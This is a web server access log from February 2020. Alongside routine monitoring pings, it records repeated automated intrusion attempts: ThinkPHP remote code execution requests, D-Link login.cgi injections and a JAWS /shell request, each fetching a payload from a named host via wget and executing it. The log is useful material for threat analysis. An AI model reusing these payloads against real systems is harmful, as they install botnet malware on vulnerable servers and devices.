162.243.129.180 - - [03/Feb/2020:19:49:47 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [03/Feb/2020:19:50:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.241.97.183 - - [03/Feb/2020:19:50:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:19:51:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.243.129.180 - - [03/Feb/2020:19:51:34 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
2.134.162.105 - - [03/Feb/2020:19:52:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:19:52:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:19:53:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:19:54:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:19:55:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.20.247.193 - - [03/Feb/2020:19:56:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:19:56:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.115.250.89 - - [03/Feb/2020:19:57:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:19:57:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:19:58:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:19:59:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.55.174.213 - - [03/Feb/2020:20:00:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:20:00:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:20:01:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:20:02:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:20:03:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:20:04:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:20:05:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.162.221.38 - - [03/Feb/2020:20:06:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:20:06:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:20:07:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:20:08:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.230.74.234 - - [03/Feb/2020:20:09:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
41.230.74.234 - - [03/Feb/2020:20:09:22 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [03/Feb/2020:20:09:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.158.123 - - [03/Feb/2020:20:10:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.140.79 - - [03/Feb/2020:20:10:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:20:10:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:20:11:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
60.241.161.158 - - [03/Feb/2020:20:12:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [03/Feb/2020:20:12:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:20:13:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:20:14:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:20:15:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:20:16:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:20:17:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.211.10.10 - - [03/Feb/2020:20:17:35 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
94.250.82.24 - - [03/Feb/2020:20:17:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
198.211.10.10 - - [03/Feb/2020:20:17:44 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
198.211.10.10 - - [03/Feb/2020:20:17:57 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [03/Feb/2020:20:18:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.211.10.10 - - [03/Feb/2020:20:19:06 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [03/Feb/2020:20:19:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:20:20:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.211.10.10 - - [03/Feb/2020:20:20:40 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [03/Feb/2020:20:21:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.211.10.10 - - [03/Feb/2020:20:22:10 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [03/Feb/2020:20:22:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.32.153.102 - - [03/Feb/2020:20:22:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
41.32.153.102 - - [03/Feb/2020:20:22:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [03/Feb/2020:20:23:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.211.10.10 - - [03/Feb/2020:20:24:05 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [03/Feb/2020:20:24:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
221.198.231.197 - - [03/Feb/2020:20:24:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
222.138.205.194 - - [03/Feb/2020:20:25:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [03/Feb/2020:20:25:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
156.223.224.238 - - [03/Feb/2020:20:25:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
156.223.224.238 - - [03/Feb/2020:20:26:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:20:26:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.211.10.10 - - [03/Feb/2020:20:27:12 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [03/Feb/2020:20:27:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:20:28:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.189.208.61 - - [03/Feb/2020:20:28:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
113.22.205.27 - - [03/Feb/2020:20:28:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:20:29:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:20:30:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:20:31:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.193.53.230 - - [03/Feb/2020:20:32:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [03/Feb/2020:20:32:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:20:33:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:20:34:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
223.79.182.156 - - [03/Feb/2020:20:34:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:20:35:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:20:36:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.118.121.248 - - [03/Feb/2020:20:37:18 +0100] "GET / HTTP/1.1" 200 1229 "https://pornhive.org/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 2.0.50727)"
46.118.121.248 - - [03/Feb/2020:20:37:18 +0100] "GET / HTTP/1.1" 200 1229 "https://pornhive.org/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 2.0.50727)"
46.118.121.248 - - [03/Feb/2020:20:37:19 +0100] "GET / HTTP/1.1" 200 1229 "https://pornhive.org/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 2.0.50727)"
212.91.246.72 - - [03/Feb/2020:20:37:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:20:38:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:20:39:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:20:40:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
223.79.182.156 - - [03/Feb/2020:20:40:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
222.109.130.220 - - [03/Feb/2020:20:41:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:20:41:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.123.145 - - [03/Feb/2020:20:41:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:20:42:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.103.89.39 - - [03/Feb/2020:20:42:56 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
185.20.247.193 - - [03/Feb/2020:20:43:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:20:43:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.43.41 - - [03/Feb/2020:20:44:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:20:44:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.202.171.95 - - [03/Feb/2020:20:44:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:20:45:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:20:46:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:20:47:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:20:48:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.75.92 - - [03/Feb/2020:20:48:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:20:49:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:20:50:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:20:51:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:20:52:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:20:53:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.25.89.208 - - [03/Feb/2020:20:54:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:20:54:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:20:55:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:20:56:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:20:57:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:20:58:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:20:59:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:21:00:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.30.232 - - [03/Feb/2020:21:01:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:21:01:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:21:02:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:21:03:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
120.72.17.81 - - [03/Feb/2020:21:03:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:21:04:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:21:05:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.101.243.185 - - [03/Feb/2020:21:05:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [03/Feb/2020:21:06:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:21:07:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.69.191.35 - - [03/Feb/2020:21:08:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:21:08:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:21:09:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:21:10:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:21:11:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:21:12:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:21:13:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:21:14:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:21:15:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.117.125.132 - - [03/Feb/2020:21:16:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
78.165.70.108 - - [03/Feb/2020:21:16:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
